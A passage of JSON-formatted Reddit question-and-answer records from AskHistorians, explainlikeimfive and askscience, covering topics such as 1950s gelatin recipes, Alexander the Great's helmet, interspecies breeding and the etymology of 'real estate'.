Aronoff found that within the domain of these stems, the -ical suffix was itself preferred by an 8 to 1 ratio over -ic. That is to say, when there is an -(o)log morpheme at the end of the word, then people heavily favor -ical.\n\nThe notion of one suffix being productive when attaching to a certain suffix is known as \"potentiation\", coined by Williams (1981). (Another example of potentiation is what we see with words ending in -able. In general, -ness is considered a more productive suffix than -ity, but in words ending in -able, -ity is strongly preferred.)\n\nBear in mind that these are tendencies; while there is a strong preference for one form over another in certain cases, that does not mean that it is a perfect split.\n\nSummary\n\n-ic and -ical do not differentiate themselves semantically; however, both forms of a word can exist if each one settles into a different meaning, or otherwise has a different domain of usage (for example, one formal and the other informal). The actual differences in meaning between two forms in a doublet are essentially arbitrary.\n\nWhile -ic is much more common overall (and could be argued to be the \"default\"), -ical is strongly preferred in stems ending in -(o)log-. Again, this is a tendency that began somewhat arbitrarily during the development of the language, but because words ending in -olog form such a large and relatively uniform group, a subpattern was able to emerge and stabilize, even as -ical remains in the minority."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://english.stackexchange.com/questions/6581/why-is-it-geometric-but-theoretical"]]}
{"q_id": "5ky5d9", "title": "There are a number of articles on the internet where people make disgusting recipes from the 1950s (ex. ham and bananas hollandaise). Did people in the 50s really eat these?", "selftext": "These recipes blend meats and sugar and other flavour/ingredient combinations that we'd never think of. Many of them were jell-o salads or loaves. Did people really eat these recipes and palates have changed, or were they generally thought of as insane as we do today?\n\nExample recipes:\n_URL_1_\n\nLiver p\u00e2t\u00e9 en masque: _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5ky5d9/there_are_a_number_of_articles_on_the_internet/", "answers": {"a_id": ["dbscumy", "dbsd739", "dbsjd8v"], "score": [4298, 29, 106], "text": ["Culinary history is a hobby field for me, so this won't be as detailed as I'd like, but I can give a little insight into the proliferation of foods that look so bizarre and unappetizing to us today.\n\nAddressing your points here separately:\n\n**What's with all the Jell-O?** This is a more complicated subject than it appears. The answer is a witch's brew of social change, new technology, and that traditional bugbear, class.\n\nWe're used to thinking of gelatin as: a). a school lunch dessert with ersatz whipped cream on top: b). something you'll find in inexpensive buffet and cafeteria restaurants, or: c). a dish that grandparents or an elderly aunt habitually bring to holiday parties and are then mostly obliged to bring home. From our perspective in the 21st century, it's okay but not super sophisticated fare.\n\n**However, gelatin has a much ritzier history than this would suggest.** If you don't have the option of running to the supermarket and grabbing a box of Jell-O or Knox (and of course, pre-19th century people didn't), gelatin is actually *a pain in the ass* to produce. Food scientists will tell you that gelatin is collagen that undergoes partial hydrolysis. A pre-19th century cook would tell you that gelatin is the result of boiling the hell out of a bunch of bones and skin and then straining and chilling the result. And that's when your problems really started:\n\n - If you couldn't keep it chilled, it would simply melt, which was no small matter in the era before refrigeration. \n - You also had to serve gelatin on chilled plates (or else just serve it very quickly) for the same reason. \n - Younger animals have more abundant collagen than older animals, which meant sacrificing the economic potential from an adult animal in order to use a younger version of it sooner. (NB: This is one of the reasons that veal stock in French classical cuisine is omnipresent; in addition to the neutral taste, it was and remains the best possible way of introducing the body and mouthfeel of gelatin into a sauce.) \n - For the final turn of the screw, you had to have at least some sense of what you were doing. Bones and skin do not come pre-labeled with the amount of gelatin they'll wind up producing, and different species (e.g., chickens, pigs, cows, and fish were all used for savory aspics) give different amounts. Every pre-19th century cook in training inevitably produced aspics that didn't set because the ratio of gelatin to liquid was off, and experience was really the only way to avoid this.\n\n**Bottom line:** You were not going to find gelatin dishes on the tables of many middle- or lower-class people. The expense, time required, and difficulty of producing it made it the more typical production of dedicated cooks employed by wealthy families, and it was very much an upper-class food as a result.\n\n**And then two big things happened.** Powdered gelatin (introduced in the mid-19th century) suddenly made its use much easier. Refrigeration (increasingly common in Western homes from the 1930s onwards) had an enormous impact on basically everything to do with home cooking. A lot could be written about both subjects, but for today we'll condense it to the following:\n\n - Gelatin was suddenly inexpensive and accessible to basically everyone.\n - Being able to measure and know exactly how much gelatin was going to be in a dish solved the most maddening problem related to cooking with it.\n - Anyone with a refrigerator could keep a gelatin dish stable before serving it.\n\nSo in a nutshell, this is why you see gelatin dishes start to appear with greater frequency in middle-class cookbooks from the late 19th century onwards, and why that frequency *exploded* when refrigerators became common items in middle-class homes. As always, when the middle class suddenly gets its hands on something that was previously available only to the rich, you tend to see a lot of creativity with the results, but not all creativity is necessarily going to be, er, awesome.\n\n**By the way, if you want a small taste (no pun intended) of how finicky gelatin could be for folks in the pre-19th century, [you can try making *xiao long bao,* or Chinese soup dumplings](_URL_3_).** Nearly all recipes involve boiling a bunch of pork bones and skin to extract the gelatin, chilling it, cutting it into cubes, and then mixing the cubes with the rest of your filling in a chilled bowl. You can't let the filling get too warm or the gelatin will melt; the idea is to keep it chilled until the dumplings are steamed, at which point the gelatin is converted into a liquid and becomes the soup in the soup dumplings. \n\nAmazing dish. Huge pain in the ass to make.\n\n**Both world wars, the ration system, and the growth of advertising in the food industry had their own impact.** Food companies distributed pamphlets on how their products could help housewives cope with the frequent shortages of fresh meat and dairy items during both wars. Some of the dishes developed in the early to mid-20th century in these circumstances were legitimately good (e.g., [Canadian War Cake](_URL_2_), which uses no eggs, butter, or milk). I will be kind to the others and say they reflect the ingenuity of people who were trying to create palatable recipes in difficult times, and who did not always succeed. The use of Jell-O and Knox to stretch meat scraps or augment sauces was common, and the popularity of \"congealed salads\" (using flavored gelatin to suspend vegetables in a mold) dates to this period as well.\n\nPerhaps the most defining characteristic of the post-WWII period was the practice of buying canned or pre-made foods at the supermarket and then doctoring them at home (e.g., using dried onion soup packets and sour cream for dip, mini-pizzas on English muffins, canned mushroom soup as a thickener/binder/sauce in casseroles). Again, gelatin was a natural fit for this approach to cooking, and both Jell-O and Knox sought to capitalize on it. One of the things you'll notice about really horrifying recipes from yesteryear is how many of them were functionally advertisements for a product that had no business being shoved into as many recipes as it was.\n\n**Did people really eat these? Have palates changed?** Yes. No. Sort of. Maybe.\n\nThis is a bit tough. Obviously, I can't speak for all people and all cultures. What I can tell you is that it's pretty instructive to read through different editions of cookbooks that have been coming out for decades (e.g., *The Professional Chef,* published by the Culinary Institute of America in multiple editions spanning 1974 to present), or just comparing comprehensive cookbooks that were written in different eras. Recipes get dropped, recipes get added, and each era has its own influence on what we consider \"basic cookery.\" One of the most fascinating patterns is how the Western palate has grown: a). noticeably more adventurous, and: b). less snobby toward non-Western cuisines, although that's been a slow process at best. In Ruth Reichl's book *Garlic and Sapphires,* which is about her tenure as the *New York Times* food critic between 1993 and 1999, she commented that she got complaint letters from people when she reviewed anything that wasn't a French or Italian restaurant.\n\nAnyway! Studying cookbooks wouldn't necessarily be a good way to judge what people were really eating, because formal cookbooks tended to eschew the really appalling recipes you'll find in your links here. There were absolutely home cooks out there who clipped these monstrosities from magazines or newspapers and tried them. Again, many of these recipes were poorly-done branding attempts from food companies that people might have been inclined to try with the ingredients on-hand, but not necessarily repeat. Everyone is influenced by the food trends that surround them, but a bad recipe isn't going to be improved just because some of its ingredients are fashionable.\n\nHaving said that, some perfectly decent recipes from the 1950s-1970s look horrifying, not because they actually are, but because food photography and presentation in the U.S. were in what we might call the toddler years. You can see this in action at [James Lileks' *Gallery of Regrettable Food*](_URL_0_). \n\n**Were they generally thought of as insane as we do today?**\n\nI present without comment [the song *Lime Jell-O Marshmallow Cottage Cheese Surprise*](_URL_1_), written in 1980.\n\n**Resources:**\n\n - *British Food: An Extraordinary Thousand Years of History* by Colin Spencer. (I wrote \"Five of them good\" below the title. Just kidding, Brits; you gave us Heston Blumenthal.)\n - Jane and Michael Stern's many books on 20th century American culinary history, food trends, and restaurants, but the most immediately useful would be *Square Meals.*", "You may be interested in these older answers:\n\n * [Post-war America saw the promotion of several peculiar dishes based on newly introduced industrial food stuffs (jellied salads, spam loaves, etc.) which seems profoundly unappealing from current standards. How popular were these dishes compared to the industrial staples themselves.](_URL_0_) by /u/chocolatepot and /u/TheShowIsNotTheShow.\n\n * [To what extent were the housewife manuals of the mid 20th century taken seriously?](_URL_1_) by /u/caffarelli\n\n(More below, but it only pings three people per comment). ", "This has already been fairly comprehensively answered by /u/Cenodoxus and also by /u/yodatsracist digging up some older answers (appreciate the callout, too!), so I'll just do my usual latecomer thing of picking up a few shiny bits around the edges.\n\nThe thing about blending meats and sugars isn't so much a detail of mid-twentieth-century cookery as an odd anomaly in the rest of twentieth-century Western cuisine. That is: we divide our food into savoury and sweet, and we don't expect things to cross that line much. However, if you look at medieval recipes (from almost any culture), you'll see things mixed up. There are recipes for apple pie which include onions, recipes for meat pies which include fruit and sweet spices, and honey in all kinds of stews and soups.\n\nNow, the line isn't as strict in modern cuisine as we think it is. Tomato ketchup (vile stuff that it is), is basically sweet. We put fruit sauces on meat, and sweet glazes on ham. Various cooks swear by including chocolate in chilli (I've never gotten it to work). There are a number of variations on potato dishes in Northern Europe which are sweetened - indeed, in Iceland, there's one where they're literally dredged in brown sugar. In Ireland, you'll see people dipping chips (fries, in American terms) in milkshakes, and almost everyone sweetens their porridge, if they eat it at all, in some way. But these fade into the background a little.\n\nThe division between sweet and savoury seems to stem from the Victorian era, and the old reliable Mrs. Beeton, the cause of so much historical disconnect in Western cuisine. Her American counterparts and imitators probably share some of the blame here, admittedly. The bit that I'd point to most are the menus she provides, which separate out sweet dishes from savoury dishes into different courses. There is, of course, a degree to which she's reflecting the practice of the era, but when it comes to a prescriptive/descriptive division, Isabella Beeton falls firmly on the prescriptive side of the fence.\n\nOn loaves, these are essentially a descendant of the pie, which has a long, long history. A meatloaf (or whatever-else-loaf) is essentially a pie with no pastry crust. These existed in previous eras - pat\u00e9s, various moulded foods, and so forth as well as steamed puddings - but the 50s obsession with them is essentially a result of technology of the era, which made meat-grinding, standard loaf-tin shapes, and the fats necessary to grease tins and make stuff stick together available in ways they weren't before. This is a subtle change, mind - all these things were available before, but slight increments in their ubiquity all the same time result in meatloaf.\n\nAnd finally, palates changing: yes, there's some of that too. Some of the medieval dishes are just too rich for us to stomach in any quantity. Medieval mince pies (that is, the sweet sort sold in the British Isles around Christmas) combined meat, dried fruit, and suet, and they're incredibly rich and dense. Green sauce, which is made from chopped herbs and vinegar, and was very much a standard condiment in its time, is rather too strong a taste for us to handle in any but the smallest quantities, and the Roman garum (another sauce/condiment) is, by all accounts, utterly vile to the modern palate. And there are whole areas of medieval Arabic cookery that are much too sour for us, using vinegar and rue in quantities that have led me to investigate if the recipes were translated correctly (they were).\n\n**Sources:**\n\nC. M. Woolgar, D. Serjeantson, and T. Waldron, *Food in Medieval England: Diet and Nutrition*\n\nMichael Pollan, *The Omnivore's Dilemma: A Natural History of Four Meals*\n\nAlfred W. Crosby, *The Columbian Exchange: Biological and Cultural Consequences of 1492*\n\nKathryn Hughes, *The Short Life and Long Times of Mrs. Beeton*\n\nNawal Nasrallah (trans.), *Annals of the Caliphs' Kitchens*\n"]}, "title_urls": [], "selftext_urls": ["http://www.midcenturymenu.com/2012/02/liver-pate-en-masque-a-retro-gelatin-dare/", "https://www.buzzfeed.com/ariannarebolini/truly-upsetting-vintage-recipes?utm_term=.lr38BG9mj#.rlQy7nopY"], "answers_urls": [["http://www.lileks.com/institute/gallery/", "https://www.youtube.com/watch?v=7tWuG2oPL3o", "http://www.bcfoodhistory.ca/canadian-war-cake/", "http://www.bonappetit.com/test-kitchen/how-to/article/soup-dumplings"], ["https://www.reddit.com/r/AskHistorians/comments/2sny1i/postwar_america_saw_the_promotion_of_several/", "https://www.reddit.com/r/AskHistorians/comments/5gy0y2/to_what_extent_were_the_housewife_manuals_of_the/"], []]}
{"q_id": "3pa93g", "title": "what decides if sex between two animals would result in pregnancy? if a dog and cat have sex, why that doesn't result in pregnancy ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3pa93g/eli5_what_decides_if_sex_between_two_animals/", "answers": {"a_id": ["cw4jyfh", "cw4l1hn", "cw4o40a"], "score": [3, 2, 11], "text": ["What's also interesting is kind-of-close matches.\n\n >  A mule is the offspring of a male donkey (jack) and a female horse (mare). Horses and donkeys are different species, with different numbers of chromosomes. \n\nSource: [wikipedia entry for mule](_URL_0_)\n\n", "There is a really good documentary on this. It shows a study made on birds that lived around the Himalayas, birds that lived to the south could breed with birds that lived in the south west ,the south east, East and west, but not anything North north East or North west of he mountains, while a bird from the East could breed with others from the south, South east, North and sout East but not with anything from the west.\n\n\nCan't for the life of me remember the name of the documentary but it explained very well the whole thing. \n", "Lots of wrong answers here so far, I'm afraid. What it *really* boils down to is the biochemistry of the proteins encoded by the two genomes.\n\nBut first, let's talk about fertilization. Egg cells don't let just any old wandering sperm fertilize them. There are highly specific \"lock and key\" proteins on eggs and sperm cells, and they must match exactly for fertilization to happen. If they don't match (which is what would happen with the dog and cat situation), the egg will not let the sperm in. This is the first line of defense.\n\nIn a more general sense, you need to realize that there are millions of chemical interactions taking place in every cell all the time. Lots and lots and lots of these involve proteins that are encoded by the DNA of the organism. Many of these reactions, for them to work properly, must similarly involve matching parts. If you try to mix two genomes from two different species, there will be enough genetic differences that lots of things are just simply not going to work. The result will be death, very quickly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Mule"], [], []]}
{"q_id": "7cdngt", "title": "What did the helmet of Alexander the Great look like?", "selftext": "Can someone point me to an image?\n\nBonus: Did he really steal and use Achilles armor as well?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7cdngt/what_did_the_helmet_of_alexander_the_great_look/", "answers": {"a_id": ["dpp6my1"], "score": [5], "text": ["Alexander presumably had a number of helmets over the course of his life--certainly the images of Alexander presented by the coins of the Diadochi present him as wearing several different helmets, many with some kind of divine attribute. I must assume you're referring to the description of the helmet and armor Plutarch says he received when he visited Troy:\n\n > \u1f60\u03c3\u03b1\u03bc\u03ad\u03bd\u03c9\u03bd \u03b4\u1f72 \u03c0\u03bf\u03bb\u03bb\u1ff6\u03bd \u1f10\u03c0\u1fbd \u03b1\u1f50\u03c4\u1f78\u03bd \u1f26\u03bd \u03b4\u1f72 \u03c4\u1fc7 \u03c0\u03ad\u03bb\u03c4\u1fc3 \u03ba\u03b1\u1f76 \u03c4\u03bf\u1fe6 \u03ba\u03c1\u03ac\u03bd\u03bf\u03c5\u03c2 \u03c4\u1fc7 \u03c7\u03b1\u03af\u03c4\u1fc3 \u03b4\u03b9\u03b1\u03c0\u03c1\u03b5\u03c0\u03ae\u03c2, \u1f27\u03c2 \u1f11\u03ba\u03b1\u03c4\u03ad\u03c1\u03c9\u03b8\u03b5\u03bd \u03b5\u1f31\u03c3\u03c4\u03ae\u03ba\u03b5\u03b9 \u03c0\u03c4\u03b5\u03c1\u1f78\u03bd \u03bb\u03b5\u03c5\u03ba\u03cc\u03c4\u03b7\u03c4\u03b9 \u03ba\u03b1\u1f76 \u03bc\u03b5\u03b3\u03ad\u03b8\u03b5\u03b9 \u03b8\u03b1\u03c5\u03bc\u03b1\u03c3\u03c4\u03cc\u03bd\n\n >  > Then many rushed upon him, and indeed he was distinguishable by his shield and the crest of his helmet, on either side of which stood a wing, marvelous in size and whiteness. \n\nA little later Plutarch tells us what happened to this helmet. In Alexander's heroic combat during the cavalry engagement at the Granicus the helmet was irreparably damaged:\n\n > \u03ba\u03b1\u1f76 \u03c4\u03cc\u03bd \u03bc\u1f72\u03bd \u03bb\u03cc\u03c6\u03bf\u03bd \u1f00\u03c0\u03ad\u03c1\u03c1\u03b1\u03be\u03b5 \u03bc\u03b5\u03c4\u1f70 \u03b8\u03b1\u03c4\u03ad\u03c1\u03bf\u03c5 \u03c0\u03c4\u03b5\u03c1\u03bf\u1fe6, \u03c4\u1f78 \u03b4\u1f72 \u03ba\u03c1\u03ac\u03bd\u03bf\u03c2 \u03c0\u03c1\u1f78\u03c2 \u03c4\u1f74\u03bd \u03c0\u03bb\u03b7\u03b3\u1f74\u03bd \u1f00\u03ba\u03c1\u03b9\u03b2\u1ff6\u03c2 \u03ba\u03b1\u1f76 \u03bc\u03cc\u03bb\u03b9\u03c2 \u1f00\u03bd\u03c4\u03ad\u03c3\u03c7\u03b5\u03bd, \u1f65\u03c3\u03c4\u03b5 \u03c4\u1ff6\u03bd \u03c0\u03c1\u03ce\u03c4\u03c9\u03bd \u03c8\u03b1\u1fe6\u03c3\u03b1\u03b9 \u03c4\u03c1\u03b9\u03c7\u1ff6\u03bd \u03c4\u1f74\u03bd \u03c0\u03c4\u03ad\u03c1\u03c5\u03b3\u03b1 \u03c4\u1fc6\u03c2 \u03ba\u03bf\u03c0\u03af\u03b4\u03bf\u03c2\n\n >  > and he struck off the crest at one of the wings, and the helmet barely and with difficulty held up to the blow, so that the edge of his sword touched the top of his hair\n\nSpithridates, who delivered the blow, was struck down, says Plutarch, by Black Clitus, but the damage was done to Alexander's helmet. As for the rest of Alexander's armor, Arrian tells us what happened at Troy:\n\n > \u1f00\u03bd\u03b5\u03bb\u03b8\u03cc\u03bd\u03c4\u03b1 \u03b4\u1f72 \u1f10\u03c2 \u1f3c\u03bb\u03b9\u03bf\u03bd \u03c4\u1fc7 \u03c4\u03b5 \u1f08\u03b8\u03b7\u03bd\u1fb7 \u03b8\u1fe6\u03c3\u03b1\u03b9 \u03c4\u1fc7 \u1f38\u03bb\u03b9\u03ac\u03b4\u03b9, \u03ba\u03b1\u1f76 \u03c4\u1f74\u03bd \u03c0\u03b1\u03bd\u03bf\u03c0\u03bb\u03af\u03b1\u03bd \u03c4\u1f74\u03bd \u03b1\u1f51\u03c4\u03bf\u1fe6 \u1f00\u03bd\u03b1\u03b8\u03b5\u1fd6\u03bd\u03b1\u03b9 \u1f10\u03c2 \u03c4\u1f78\u03bd \u03bd\u03b5\u03ce\u03bd, \u03ba\u03b1\u1f76 \u03ba\u03b1\u03b8\u03b5\u03bb\u03b5\u1fd6\u03bd \u1f00\u03bd\u03c4\u1f76 \u03c4\u03b1\u03cd\u03c4\u03b7\u03c2 \u03c4\u1ff6\u03bd \u1f31\u03b5\u03c1\u1ff6\u03bd \u03c4\u03b9\u03bd\u03b1 \u1f45\u03c0\u03bb\u03c9\u03bd \u1f14\u03c4\u03b9 \u1f10\u03ba \u03c4\u03bf\u1fe6 \u03a4\u03c1\u03c9\u03b9\u03ba\u03bf\u1fe6 \u1f14\u03c1\u03b3\u03bf\u03c5 \u03c3\u03c9\u03b6\u03cc\u03bc\u03b5\u03bd\u03b1. \u03ba\u03b1\u1f76 \u03c4\u03b1\u1fe6\u03c4\u03b1 \u03bb\u03ad\u03b3\u03bf\u03c5\u03c3\u03b9\u03bd \u1f45\u03c4\u03b9 \u03bf\u1f31 \u1f51\u03c0\u03b1\u03c3\u03c0\u03b9\u03c3\u03c4\u03b1\u1f76 \u1f14\u03c6\u03b5\u03c1\u03bf\u03bd \u03c0\u03c1\u1f78 \u03b1\u1f50\u03c4\u03bf\u1fe6 \u1f10\u03c2 \u03c4\u1f70\u03c2 \u03bc\u03ac\u03c7\u03b1\u03c2. \n\n >  > [They say] that he went up to Ilium and sacrificed to Ilian Athena, and that he hung up his own equipment at the temple, and took down [votive offerings are said in Greek to be \"hung up\" in the temple] some of the holy armor preserved from the Trojan struggle. And they say that his shield-bearers [here \u03bf\u1f31 \u1f51\u03c0\u03b1\u03c3\u03c0\u03b9\u03c3\u03c4\u03b1\u1f76 likely refers to his personal squires, not to the corps of Hypaspists] bore these in front of him in battle. \n\nPeter Green conjectures, I think not unreasonably, that Alexander wore this equipment (from which he thinks Alexander's plumed helmet came) at the Granicus, but that it was so beat up there that in the future he just had it paraded in front of the army. In any case no text says anything about it being *Achilles'* armor (Achilles, in any case, being a fictional character means that no matter what he could not \"really\" have had his armor). I think you must be confusing the attestation in several texts that Alexander visited the supposed tomb of Achilles while at Troy--I don't know where this stealing business comes from, Alexander was notably respectful at Troy. Troy in Alexander's lifetime was sort of a little theme park, a site only sort of geographically related to the site of Troy VIIA (which in any case the Greeks didn't know about), and naturally it was the most notable location of \"genuine\" relics from the Trojan War, something many sanctuaries claimed to have. \n\nThere's not really much else to say. No portrait of Alexander preserves an image of this helmet, nor does any coin either from his lifetime or that of the Diadochi. [This](_URL_0_) coin, minted first by Alexander and then under Philip Arrhidaeus, depicts Athena, not Alexander, with a helmet that seems to have a double plume, but I don't know of anyone who suggests that it's supposed to be a copy of Alexander's helmet. Indeed, Hellenistic portraits of Alexander either show him with overtly divine headgear (e.g. the Hercules lion skin or an elephant skin, probably associated with Dionysus), or have him bareheaded (e.g. the Alexander Mosaic). The Alexander Sarcophagus has him wearing a lion's scalp, and some modern illustrations combine this with Plutarch's description of the plumed helmet at the Granicus, but this is conjecture and not especially scholarly conjecture at that"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://alexanderthegreatcoins.reidgold.com/Alex_stater.jpg"]]}
{"q_id": "a4uyhj", "title": "why does the tounge muscle not grow even if it's constantly moving?", "selftext": "For example, when you workout, your muscles (biceps, pecs, legs, etc.) get bigger by time. Why not the tounge?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a4uyhj/eli5_why_does_the_tounge_muscle_not_grow_even_if/", "answers": {"a_id": ["ebhojw9", "ebi9bq9"], "score": [30, 3], "text": ["Muscles get as big as they need to be, I.e. if you don\u2019t work out your bicep and just use it for your normal day to day going about your business, it will settle at a certain size, that size will be different person to person.\n\nThe cardiac muscles don\u2019t keep growing just because they are beating all the time, they get as big as they need to be to carry out their work then stop growing.\n\nI suppose it is possible, you could set up some sort of resistance training rig for your tongue and strengthen it, it may even grow bigger.", "Here is a recently post about tongue strength in powerlifters vs runners.\n\n[_URL_1_](_URL_0_)\n\nIt suggests that powerlifters have stronger tongues, whereas runners have more 'durable' tongues."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/running/comments/a318og/a_comparative_study_tongue_muscle_performance_in/", "https://www.reddit.com/r/running/comments/a318og/a\\_comparative\\_study\\_tongue\\_muscle\\_performance\\_in/"]]}
{"q_id": "2gjbm2", "title": "Why don't more deep sea creatures wash up on shore once they die?", "selftext": "I'm talking super deep sea creatures. Some humans haven't discovered yet. Do they not float to the surface when they die? If they don't, what do scientists believe happens to their dead bodies? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2gjbm2/why_dont_more_deep_sea_creatures_wash_up_on_shore/", "answers": {"a_id": ["ckjs8gt", "ckk5qb8"], "score": [8, 3], "text": ["Different things.   Many sink and decompose, most gets eaten some do make it up and wash up. Most creatures that live at those depths are not positively buoyant, so they will not naturally float up. Currents play a big role in moving things around.   Instances of tsunamis upwelling deep sea creatures are not unheard of, but you have to remember, this things live very very deep, so you need something mayor to stir things up enough so that itll come out.", "You also need to take into account the incredibly vast difference in surface area between the entire Earth's ocean floor and the combined shoreline surface area of the entire world.\n\nThe Earth's seafloor surface area is ~224,397,000 miles^2.  If we make an (I believe very generous) assumption that the Earth's average shoreline of ~217,490 miles where carcasses could wash up on is 1000 feet wide, then the combined surface area of the entire Earth's estimated shoreline is only ~41,191 miles^2.\n\nIn other words, using these estimates, the shoreline is only 0.01% the surface area of the ocean floor.\n\n(Someone please check my Google-fu and math, please)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1bs1rl", "title": "How important was ping pong diplomacy?", "selftext": "In the scope of Sino-American relations, was this a significant meeting?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bs1rl/how_important_was_ping_pong_diplomacy/", "answers": {"a_id": ["c99jtsg"], "score": [3], "text": ["In terms of geopolitics, the US had strong reasons to \"open up\" relations with the PRC, and vice-versa, and would have done so with or without ping pong. Nixon was talking about having better relations with the PRC before 1971. Nonetheless, it was important from a PR standpoint - it symbolized the thaw in relations between the US and the PRC and helped \"humanize\" the Chinese to the American public, as well as serving as a snub to the USSR."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4jfaia", "title": "why is it called ''real'' estate?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4jfaia/eli5why_is_it_called_real_estate/", "answers": {"a_id": ["d365ej0", "d369zkq", "d36af24", "d36bpjk", "d36ih7q"], "score": [43, 34, 30, 4, 12], "text": ["\u201cReal\u201d means \u201cactually existing,\u201d \u201ctrue or actual,\u201d and \u201crelating to something.\u201d\n\nIt is someone\u2019s real property, and it relates to them.", "Robert Kiyosaki (Rich Dad Poor Dad) wrote that Real Estate originally meant Royal Estate, because the royalty (like himself?) owned all the land. A quick Google search reveals this to be bullshit. Like most of his book.", "Real estate, or real property, originally only meant freehold land. Leasehold property was classed as personal property.\n\n", "From what I understand there are two main theories as for etymology of the word. [This older wikipedia article](_URL_0_) describes these two theories very well.\n\nFirst theory is what a lot of other people here said, this is a good summary:\n\n >  In the laws of the United States of America, the 'real' in 'real estate' means relating to a thing (res/'rei', thing, from _URL_1_. 'reel', from L.L. 'realis' 'actual', from Latin. 'res', 'matter, thing'), as distinguished from a person. Thus the law broadly distinguishes between 'real' property (land and anything affixed to it) and 'personal' property or chattels (everything else, e.g., clothing, furniture, money). The conceptual difference was between '**immovable property**', which would transfer title along with the land, and 'movable property', which a person could lawfully take and would retain title to on disposal of the land.\n\nSecond theory goes along these lines:\n\n >  Some people^[1] have claimed that the word 'real' in this sense is descended (like French 'royal' and Spanish 'real') from the Latin word for '**king**'. In the feudal system (which has left many traces in the common law) the king was the owner of all land, and everyone who occupied land paid him rent directly or indirectly (through lords who in turn paid the king), in cash, goods, or services (including military service).\n\nAnd also:\n\n >  Some say this derivation is a misconception; but that is **countered by evidence** that the earliest meaning of 'real' in English included \"Of, relating to, or characteristic of a monarch, royalty, or (by extension) the nobility, esp. with regard to power, wealth, or dignity; (also) befitting a monarch.\"\n\n\n1: Here is a very recent example of the second theory usage (from 2015 book):\n\n >  \"Why, for example, is building referred to as \"real property,\" or \"real estate\"? The \"real\" in this usage is not derived from Latin *res*, or \"thing\": it's from the Spanish *real*, meaning, \"royal,\" \"belonging to the king.\" All land within a sovereign territory ultimately belongs to the sovereign - legally this is still the case.\n\n*David Graeber \"The Utopia of Rules: On Technology, Stupidity, and the Secret Joys of Bureaucracy\", p.86*\n\n", "I always thought the French had the right idea with calling furniture \"meubles\" (movable) and buildings \"immeubles\" (immovable).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/w/index.php?title=Real_estate&amp;oldid=494739280", "O.Fr"], []]}
{"q_id": "15moit", "title": "Dogs seem to have such expressive faces. Are they really emoting in the same way humans do or is this just anthropomorphizing?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15moit/dogs_seem_to_have_such_expressive_faces_are_they/", "answers": {"a_id": ["c7nu2af", "c7nvyrn"], "score": [39, 4], "text": ["Animals [communicate](_URL_2_) in a variety of ways and animals are capable of feeling [emotions](_URL_1_). Mammals (like dogs and humans) have very similar neural and hormonal responses to external stimuli because we have a shared phylogenetic history. For instance, the same areas of the brain light up in humans and other mammals when we feel pain or stress. By in large we use the same hormones to send the same kind of information, the hormones in you elicit the same response in dogs. \n\nThe complexity of emotions in animals is difficult to quantify because:\n\n1. They may express them in ways we cannot or do not understand, as they may use senses that we do not use or they may have senses that we don't know about. For instance, it was only recently found that elephants can emit low-frequency sounds, way below human hearing, and in this way they can communicate over very long distances. \n\n2. We are capable of explaining our emotions through words, whereas we can only gain an understanding of animal emotions through their responses to [our] external stimuli. We may also measure hormone levels or perform brain scans. \"Evidence for emotions in animals has been primarily anecdotal, coming from individuals who interact with pets on a regular basis. However, critics of emotions in animals cite anthropomorphism as motivating factor in the above suggestion. Much of the debates confusion centers around the difficulty in defining emotion and the cognitive requirements necessary to experience emotion in a similar vein to humans\". So yes, anthropomorphizing emotions is taken seriously, however that does not prevent scientist from trying to quantify animal emotions in other ways.\n\nHumans are certainly capable of making a variety of facial expressions, this is in part because we are particularly adapted to using our face to communicate to others about our intentions. Most primates communicate in such a way. The same may not be true for a dog which may preferentially use its tail. So we must be careful about how we evaluate animal emotions and animal cognition. \u201cEverybody is a genius. But, if you judge a fish by its ability to climb a tree, it\u2019ll spend its whole life believing that it is stupid.\u201d \u2013 Albert Einstein. We need to make sure we are testing animal's intelligence in their own right - not based off of our own preconceptions or misconceptions.\n\nThe same signal may not mean the same thing to different species. For instance, the smile generally \"denotes pleasure, sociability, happiness, or amusement\" in humans. In other primate species it may indicate that one is submissive (if teeth are together), it may be a threat signal such as \"stay away from me, I am strong\", it may be expressed in play between juveniles - in which case it is only a practice threat. There is a whole [wiki article](_URL_0_) on how dogs express emotions. \n\n", "In most cases, we are probably just anthropomorphizing. This is due, in part, because humans are intensely social and depend on social cues from one another. \n\nHumans see faces in so many non-face objects, or rudimentary forms of faces (e.g., a circle with some dots inside). The phenomenon is called [pareidolia](_URL_0_). When we see faces or pick up on social cues from things that aren't necessarily faces or providing social cues, it's because of [some particular parts of the visual system](_URL_1_). Additional evidence for this comes from the disorder of [prosopagnosia](_URL_2_), where people can't see faces. They can see eyes, nose, mouth, heads, etc... but can't put it all together (i.e., gestalt). They also have difficulty picking up on cues from faces. \n\nThere is a strong suspicion that our attention to faces and face-like objects, for social understanding, has a strong evolutionary component. This is reinforced in part because the parts of the brain required in face processing are some of the oldest and most finely \"tuned\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Dog_communication", "http://en.wikipedia.org/wiki/Emotion_in_animals", "http://en.wikipedia.org/wiki/Animal_communication"], ["http://en.wikipedia.org/wiki/Pareidolia", "http://en.wikipedia.org/wiki/Face_perception#Neuroanatomy_of_facial_processing", 